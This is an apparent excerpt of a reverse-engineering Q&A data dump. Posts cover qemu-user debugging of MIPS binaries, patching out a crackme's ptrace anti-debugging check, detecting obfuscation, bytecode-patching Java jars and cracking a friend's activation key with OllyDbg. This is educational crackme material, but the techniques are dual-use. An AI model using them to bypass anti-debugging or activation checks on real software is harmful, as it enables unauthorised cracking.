this&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install debian-keyring&#xA;$ sudo apt-get install debian-archive-keyring&#xA;$ sudo apt-get install emdebian-archive-keyring&#xA;$ sudo tee /etc/apt/sources.list.d/emdebian.list &amp;lt;&amp;lt; EOF&#xA;deb http://mirrors.mit.edu/debian squeeze main&#xA;deb http://www.emdebian.org/debian squeeze main&#xA;EOF&#xA;$ sudo apt-get update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;Clean Up&#xA;&#xA;&lt;p&gt;When you are done installing the packages (see below), I highly recommend removing the file &lt;code&gt;emdebian.list&lt;/code&gt; which we created earlier.  While the Emdebian packages are compatible, &lt;code&gt;apt&lt;/code&gt; does weird things and may elect to use a &lt;code&gt;Debian&lt;/code&gt; package instead of the one your distro is supposed to.  If you need to install more packages later, you can just add it again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo rm /etc/apt/sources.list.d/emdebian.list&#xA;$ sudo apt-get update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Installing the libraries&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Now we can install packages!  The package which includes all of the &lt;code&gt;mipsel&lt;/code&gt; libraries you need to run the binary you selected is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install libc6-mipsel-cross      # For MIPS-EL&#xA;$ sudo apt-get install libc6-armhf-armel-cross # For ARM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to build programs like the sample above, you'll need a cross-compiler.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install gcc-4.4-mipsel-linux-gnu # For MIPS-EL on Ubuntu 14.04&#xA;$ sudo apt-get install gcc-mipsel-linux-gnu     # For MIPS-EL on Ubuntu 16.04&#xA;$ sudo apt-get install gcc-arm-linux-gnueabihf  # For ARM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Very finally, we need to tell &lt;code&gt;binfmt&lt;/code&gt; where the libraries are for &lt;code&gt;mipsel&lt;/code&gt; binaries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo mkdir /etc/qemu-binfmt&#xA;$ sudo ln -s /usr/mipsel-linux-gnu /etc/qemu-binfmt/mipsel # MIPSEL&#xA;$ sudo ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm # ARM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can run the binary on your system*!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./myelf&#xA;Usage: ./crackme password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Debugging&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the whole point, right?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;strace&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The quickest thing to do is to be able to run &lt;code&gt;strace&lt;/code&gt; on the binary.  You can do this with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ qemu-mipsel -strace ./myelf&#xA;12825 brk(NULL) = 0x00411000&#xA;12825 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x767ca000&#xA;...&#xA;12825 ptrace(0,0,0,0,0,0) = -1 errno=89 (Function not implemented)&#xA;qemu: Unsupported syscall: 4026&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should've seen from running the binary, and from &lt;code&gt;strace&lt;/code&gt;, that this binary attempts to call &lt;code&gt;ptrace&lt;/code&gt; on itself.  This is one of the limitations of &lt;code&gt;qemu-user&lt;/code&gt;, is that &lt;code&gt;ptrace&lt;/code&gt; is not supported.  If the binary &lt;em&gt;needs&lt;/em&gt; to ptrace itself, you will need to build a full QEMU system image.  I generally use the ones available &lt;a href=&quot;https://people.debian.org/~aurel32/qemu/mipsel/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.  Running QEMU is outside the scope of this answer, but the page I linked to has useful command-lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily remove the &lt;code&gt;ptrace&lt;/code&gt; call from the binary (it's anti-debugging stuff), and it runs fine.  However, I think this is part of the crackme :P.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$./myelf&#xA;KO&#xA;$ sed -i 's|ptrace|isnanl|' myelf&#xA;$ ./myelf&#xA;Usage: ./crackme password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;QEMU GDB Stub&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In order to debug the binary with GDB, you need to launch &lt;code&gt;qemu-mips&lt;/code&gt; so that it exposes a GDB stub, and connect from GDB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ qemu-mipsel -g 12345 ./a.out &amp;amp;&#xA;$ gdb-multiarch ./a.out&#xA;(gdb) set arch mips&#xA;The target architecture is assumed to be mips&#xA;(gdb) set endian little&#xA;The target is assumed to be little endian&#xA;(gdb) target remote localhost:12345&#xA;Remote debugging using localhost:12345&#xA;0x00400280 in _ftext ()&#xA;(gdb) x/i $pc&#xA;  =&amp;gt; 0x767cb880    move   $t9, $ra&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now debug as you normally would.  Note that since you're running inside of &lt;code&gt;qemu-user&lt;/code&gt;, some commands my not work as expected.  In particular, &lt;code&gt;info proc maps&lt;/code&gt; doesn't work.  You may want to take a look at my &lt;a href=&quot;https://github.com/zachriggle/pwndbg&quot; rel=&quot;noreferrer&quot;&gt;pwndbg&lt;/a&gt; project, which works around some of these limitations.&lt;/p&gt;&#xA;" OwnerUserId="264" LastEditorUserId="3434" LastEditDate="2016-05-23T09:16:18.467" LastActivityDate="2016-05-23T09:16:18.467" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8918" PostTypeId="2" ParentId="8909" CreationDate="2015-05-17T06:31:43.973" Score="2" Body="&lt;p&gt;Right Click within the Disassembler window -&gt; &lt;em&gt;Select thread&lt;/em&gt; -&gt; Click &lt;em&gt;Main thread&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image for reference.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X6ANZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-05-17T06:31:43.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8919" PostTypeId="2" ParentId="8910" CreationDate="2015-05-17T10:34:07.773" Score="1" Body="&lt;p&gt;Well, if the packed program executes itself from a virtual environment, things are very difficult. You have to start with the call stack window of ollydbg. Try to find there in which address does it point the packer and go backwards untill you find the Original Entry Point. Then you can use the PE editors to track and remove the packer. Sounds plain sail and not really helpful, i know, but that's how it usually works... I am not very experienced, too, but i 've spent some time over manual unpacking. Wish you luck!&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2015-05-17T10:34:07.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8920" PostTypeId="1" AcceptedAnswerId="8964" CreationDate="2015-05-17T11:55:32.527" Score="0" ViewCount="560" Body="&lt;p&gt;I'm trying to find a way how I can read the textbox inside the idle. The Idle is (I think) written in python (Tkinter ?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to find the function which reads the textbox.text through checking the exports function inside the tk85.dll but I coudn't find it.&#xA;A normal windows exe would be easier since I have to search for &lt;code&gt;GetDlgItemText()&lt;/code&gt;. But how I can done something like this with python written code :O&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1QdvG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12538" LastEditorUserId="12538" LastEditDate="2015-05-20T16:41:40.623" LastActivityDate="2015-05-22T21:47:15.227" Title="How I can get the text with c# from Tkinter (python) window?" Tags="|ollydbg|python|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8921" PostTypeId="1" CreationDate="2015-05-17T22:08:00.587" Score="7" ViewCount="2276" Body="&lt;p&gt;I'm guessing that tools like PeiD detect packers by looking for signatures inside the packed binary and by measuring the entropy. Is there any other work that tries to determine if a binary is obfuscated in some way based on some property of the binary? Would this be able to detect control flow obfuscations as in the case of ollvm?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-05-19T20:04:08.270" Title="How are obfuscators detected?" Tags="|obfuscation|unpacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8922" PostTypeId="2" ParentId="8899" CreationDate="2015-05-18T02:50:10.763" Score="4" Body="&lt;p&gt;If you have a fixed set of instructions you are search for eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li  r4,0&#xA;li  r5,16&#xA;li  r6,32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming you already have one location found, you can look in the binary hex view, and find the byte pattern you want and use that in a binary search, just make sure you write each byte with a space between them like &lt;code&gt;01 02 03 04&lt;/code&gt; so IDA treats them as a sequence of bytes, not as a word/int type search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a regex like soft match like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;slwi r0,r3,2&#xA;add r4,r4,r0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but you don't know &lt;code&gt;r4&lt;/code&gt; will be the register used, but know it will be this pattern of &lt;code&gt;slwi&lt;/code&gt; and &lt;code&gt;add&lt;/code&gt; then I'd write a script (IDC or python) that searches using a text search for outer clause, and then checks for the next instruction to match the expected test, or move to next outer clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the following idc file/code does the outer loop (I was using it to find address offsets that where not set to references), but it might be a good starting base to work from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;static fixAllOffsets( strtext)&#xA;{&#xA;    auto ea, offset;&#xA;    auto last;&#xA;    Message(&quot;Start\n&quot;);&#xA;    ea = FindText(0x100000, SEARCH_DOWN | SEARCH_REGEX, 0, 0, strtext);&#xA;    last = 0;&#xA;    while( ea != BADADDR &amp;amp;&amp;amp; ea != last)&#xA;    {&#xA;        Message(&quot;%a\n&quot;, ea);&#xA;&#xA;        // INSERT you next line checks here&#xA;&#xA;        last = ea;&#xA;        ea = FindText(ea+6, SEARCH_DOWN | SEARCH_REGEX, 0, 0, strtext);&#xA;    }&#xA;    Message(&quot;End\n&quot;);&#xA;}&#xA;&#xA;static main() &#xA;{&#xA;    fixAllOffsets( &quot;0x9[EF][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]&quot; );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2015-05-18T02:50:10.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8923" PostTypeId="2" ParentId="8921" CreationDate="2015-05-18T05:45:10.160" Score="8" Body="&lt;p&gt;I wouldn't say that obfuscation detection is strictly related to entropy.&#xA;When I detected obfuscated code areas I did it by simple statistical comparison of probabilities of appearances of specific assembly commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example number of jump related commands will be significantly larger in a binary with control flow obfuscation.&#xA;Number of arithmetic related commands will be significantly larger in a binary with opaque predicates.&#xA;Number of some specific code sequences such as &lt;code&gt;jmp $+5&lt;/code&gt; or &lt;code&gt;push addr; ret&lt;/code&gt; will be significantly larger when such an obfuscations are applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These heuristics usually working pretty well on the code which is not packed (packed code, however, can be detected by entropy measurement and existence of segments related to well known packers or with unknown meaning).&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-05-18T05:45:10.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8924" PostTypeId="2" ParentId="8890" CreationDate="2015-05-18T14:46:05.177" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I debug further?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8116/at-the-rpcrt4ndrclientcall2-function-how-does-it-know-which-pipe-to-use-in-or&quot;&gt;this post&lt;/a&gt; for instructions on debugging the server-side code executed by the &lt;code&gt;NdrClientCall2()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NdrpClientUnMarshal call fails with 3. What does this api do ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It &lt;a href=&quot;http://en.wikipedia.org/wiki/Marshalling_%28computer_science%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;unmarshals (deserializes)&lt;/a&gt; the data returned by the RPC call.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-05-18T14:46:05.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8925" PostTypeId="2" ParentId="8891" CreationDate="2015-05-18T15:33:15.827" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://jd.benow.ca/&quot; rel=&quot;nofollow&quot;&gt;JD-GUI&lt;/a&gt; to examine the jar file&lt;/li&gt;&#xA;&lt;li&gt;Unpack the jar file&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;jar -xf yourapp.jar&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Modify the .class file with a Java Bytecode Editor&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://set.ee/jbe/&quot; rel=&quot;nofollow&quot;&gt;Java Bytecode Editor (JBE)&lt;/a&gt;    &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Repack the modified classes into new archive file&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;jar -cvf yourapp_patched.jar *.*&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.netspi.com/patching-java-executables-the-easy-way/&quot; rel=&quot;nofollow&quot;&gt;Credits for this particular solution to Khai Tran @ NetSPI&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2015-05-19T16:08:11.977" LastActivityDate="2015-05-19T16:08:11.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8928" PostTypeId="1" CreationDate="2015-05-18T19:00:51.667" Score="6" ViewCount="581" Body="&lt;p&gt;We're trying to solve a puzzle on one of the automotive forums regarding how the BMW S62 engine utilizes its two MAF (mass air flow) sensors to determine the air mass flow entering the engine. This sensor is critical for correct engine operation and people often replace the sensor without knowing for sure if it needs to be replaced. By understanding how the ECU utilizes the sensor, one can devise a simple test with a multimeter to confirm or disprove whether a new sensor is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone has access to the disassembled instructions for the ECU (Motorola M68000) and has shared screenshots of the two subroutines which he believes are relevant to mass air flow evaluation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ie4yK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;MAF Curve&lt;/code&gt; (this is what &lt;code&gt;tbls&lt;/code&gt; uses):&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ie4yK.png&quot; alt=&quot;MAF Curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VjYlO.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;sub_12D96:&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VjYlO.png&quot; alt=&quot;sub_12D96&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kqYaB.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;sub_1AA3A:&lt;/code&gt;&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kqYaB.png&quot; alt=&quot;sub_1AA3A&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are a few schools of thought as to what is happening here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The average of the two MAF sensor voltages is being used. I don't see that in this particular set of instructions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The result from the lookup table is halved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The two results are computed separately and then added together. This however conflicts with the field data collected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Only one sensor is being used (in other words, the sense of the S62 check is inverted, but it physically makes no sense)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Could someone help me to make sense of what the instructions are doing? Here is my stab at it, I just cannot &quot;piece&quot; it all together to make sense of it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_12D96:&#xA;move.l  a2, -(sp)                  ; Push long value at address a2 to stack&#xA;movea.l #SYS_TIMERTICS_COUNTER, a2 ; Move SYS_TIMERTICS_COUNTER address to a2&#xA;btst    #7, (PSYNC_ST).l           ; Bit-test on something, not sure how this works&#xA;beq.s   loc_12E02                  ; If true, go to loc_12E02, else continue&#xA;&#xA;move.b  (ZUSTAND_MOTOR).l, d0      ; Move a byte from ZUSTAND_MOTOR address to data register d0&#xA;andi.b  #$1C, d0                   ; Bitwise-and 0x1C with data register d0&#xA;                                   ; [to check if engine is running]&#xA;beq.s   loc_12DEE                  ; If binary-equal, go to loc_12DEE, else continue&#xA;&#xA;pea     (1).w                      ; Push effective address onto stack (does this set stack pointer?)&#xA;move.w  (HFM1_AD).l, d0            ; Move word value from HFM1_AD to data register d0 (why move.w and not move.l?)&#xA;move.l  d0, -(sp)                  ; Push long value to stack&#xA;jsr     sub_1AA3A                  ; Jump to subroutine sub_1AA3A&#xA;addq.l  #8, sp                     ; Add 8 to stack pointer (move stack pointer address by 8?)&#xA;move.b  (K_MOTORTYP).l, d0         ; Move byte from K_MOTORTYP to data register d0&#xA;andi.l  $#EF, d0                   ; Bitwise-and 0xEF with data register d0&#xA;moveq   #$20, d1                   ; Move 0x20 to data register d1&#xA;cmp.l   d0, d1                     ; Compare d0 with d1&#xA;bne.s   loc_12DEE                  ; If binary-not-equal, go to loc_12DEE, else continue&#xA;&#xA;pea     (2).w                      ; Push effective address onto stack (does this set stack pointer?)&#xA;move.w  (HFM2_AD).l, d0            ; Move word value from HFM2_AD to data register d0 (why move.w and not move.l?)&#xA;move.l  d0, -(sp)                  ; Push long value to stack&#xA;jsr     sub_1AA3A                  ; Jump to subroutine sub_1AA3A&#xA;&#xA;sub_1AA3A:&#xA;&#xA;arg_2=  6                          ; define constant (arg_2 = 6)&#xA;arg_7=  $B                         ; define constant (arg_7 = 11)&#xA;&#xA;clr.l   d0&#xA;clr.w   d1&#xA;move.w  arg_2(sp), d0              ; move a word 6 places after stack pointer to d0&#xA;lsl.w   #3,d0                      ; left-shift the word at d0 by 3 bits (multiply by 8)&#xA;tbls.w  (KL_HFM_ML_V_b).l, d0      ; lookup word from KL_HFM_ML_V_b table with d0 as input&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12472" LastActivityDate="2018-06-11T19:38:32.333" Title="How does my S62 engine utilize MAF sensors to convert voltage to mass flow?" Tags="|ida|disassembly|motorola|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8929" PostTypeId="1" CreationDate="2015-05-19T03:47:33.960" Score="5" ViewCount="5713" Body="&lt;p&gt;I am entirely new to reverse engineering, but nonetheless I have been given the challenge by a friend to crack a computer program he wrote. Having never done this before, my research online suggested that I use OllyDbg to search for an error message given when I try to give an invalid code. The problem is that if the code is invalid, the button to submit it is never enabled. Could I use OllyDbg to find what would happen if I were to click the button and then somehow override it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's all I know about the program:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I do not have access to the source code, nor do I know what language it was written in.&lt;/li&gt;&#xA;&lt;li&gt;The program can be activated as was proven to me by my friend has he typed in a key to activate it, yet covering it so I could not see it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Given that I have never dabbled in reverse engineering before, what would be my best plan of attack and how would I go about it?&lt;/p&gt;&#xA;" OwnerUserId="8570" LastEditorUserId="2354" LastEditDate="2015-05-19T12:38:50.267" LastActivityDate="2016-10-06T04:49:39.380" Title="Use OllyDbg to identify what happens when a button is pressed" Tags="|ollydbg|crackme|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8930" PostTypeId="1" AcceptedAnswerId="8933" CreationDate="2015-05-19T06:36:37.487" Score="0" ViewCount="9166" Body="&lt;p&gt;I'm trying to decode this binary file which is from a cache.  All I want is the playlist metadata.  I am getting some of it using a simple hex viewer, but the majority of the information is random ascii.  Is this because there is a bit offset that isn't being accounted for?  Or is there something more complicated going on such as hashing or encryption?&lt;/p&gt;&#xA;" OwnerUserId="12554" LastEditorUserId="12554" LastEditDate="2015-06-02T21:32:04.620" LastActivityDate="2015-06-02T21:32:04.620" Title="Decoding binary - basics" Tags="|binary-analysis|hex|binary|" AnswerCount="2" CommentCount="2" ClosedDate="2015-05-21T11:42:48.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="8931" PostTypeId="2" ParentId="8929" CreationDate="2015-05-19T07:04:08.127" Score="6" Body="&lt;p&gt;If you have very little experience in binary RE I would suggest to start with preparing for a lot of unknown information that would be &quot;thrown&quot; on you, time and patience :-). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to the subject. To do the work your are talking about, you'll need tools and you need to know them well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Olly - to do the dynamic analysis of the binary. The one you already have and I hope opened it already to get now the tool.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA&lt;/a&gt; - to do the static analysis. It will help you navigate the binary. You can download from the supplied link the free version which will be sufficient for your task.&lt;/li&gt;&#xA;&lt;li&gt;CFF explorer - to understand the type of the binary and poke around with its dependencies, resources.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Next, supposedly the binary is not obfuscated:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try to execute the binary and study a little bit its behaviour and take notes - strings (titles, messages), button names. Give it some input and look for the results.&lt;/li&gt;&#xA;&lt;li&gt;Based on binary type: &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;.Net &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check with &lt;a href=&quot;http://ilspy.net&quot; rel=&quot;nofollow&quot;&gt;ILSpy&lt;/a&gt; to get the sources if possible.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Native&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Load it into IDA and check if you can find/verify from notes the data inside the binary.&lt;/li&gt;&#xA;&lt;li&gt;As this is the GUI application, I would check with MSDN in the area of &lt;code&gt;GetMessage&lt;/code&gt; and &lt;code&gt;TranslateMessage&lt;/code&gt;, &lt;code&gt;CreateWindow&lt;/code&gt; and look for Window proc which is responsible for processing window messages.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After the above, I would also suggest, as @Dominik did, go over the fist &lt;a href=&quot;https://tuts4you.com/download.php?list.17&quot; rel=&quot;nofollow&quot;&gt;Lena's tutorials&lt;/a&gt;, to cover all the needed info for your type of binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the above can pretty much get you to the key you are looking for.&#xA;Add more info from the ongoing analysis and we will try to provide another help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="8570" LastEditDate="2016-10-05T17:32:31.213" LastActivityDate="2016-10-05T17:32:31.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8932" PostTypeId="2" ParentId="8929" CreationDate="2015-05-19T12:06:19.160" Score="3" Body="&lt;p&gt;I assume your friend did not utilize tricks like anti-debugging and packing the binary, as your first challenge. Assuming is not right for an answer, so you should provide more details next time :) How I would approach this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go trough Lena's tutorials.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify what is the application was written in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple tools for this, such as :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.aldeid.com/wiki/PEiD&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEID&lt;/a&gt; or &lt;a href=&quot;http://pid.gamecopyworld.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ProtectionID&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;li&gt;More can be found &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Category:Compiler_Identifiers&quot; rel=&quot;nofollow noreferrer&quot;&gt;here.&lt;/a&gt; Play with them :)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So, from the sounds of it your friend has something like this in place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void onEachKeyPress() // meaning each time you type a character into&#xA;                      // the text box, this function will be called&#xA;{&#xA;   if(txtBoxInput == &quot;secretKey123#&quot;)&#xA;   {&#xA;     EnableButton();&#xA;     MessageBox(&quot;You did it!&quot;);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, we know that the button will be activated if the textbox contains the right key. Also there is probably a gratulation message after entering the right key and pressing the button. From this you can assume that there will be a function for enabling the button, or s a MessageBox window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually there will be a condition somewhere in the application, which decides if you have the right key or not, if there is no trickery involved the key itself will be in the application somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Olly will show you machine language, and conditions (&lt;code&gt;if&lt;/code&gt;) will translate to jump operands (&lt;code&gt;je&lt;/code&gt;, &lt;code&gt;jz&lt;/code&gt;, &lt;code&gt;jne&lt;/code&gt;, ...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/owhLa.png&quot; alt=&quot;if secretKey123# not eq to your input&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the action in this case would be enabling the button and showing a message)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So now you know all these, it is &lt;a href=&quot;https://www.youtube.com/watch?v=LH7oez2Jzqw&quot; rel=&quot;nofollow noreferrer&quot;&gt;time to look round&lt;/a&gt;. Run the app, attach Olly, or you can start your app from olly, and set it to break on the main function. This can be handy, because from there you can step by step follow the execution flow of the application. You now know what functions to look for. Put some breakpoints and observe. List all strings in the binary. See if any looks like a hardcoded password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find the piece of code that decides if your input is right or not, you could patch it, or just simply find the hardcoded password and enter it without modifying (patching) the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run out of things to crack, and want to move on to more advanced challenges, head over to &lt;a href=&quot;http://crackmes.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackmes.de&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="53" LastEditDate="2015-06-09T07:02:43.403" LastActivityDate="2015-06-09T07:02:43.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
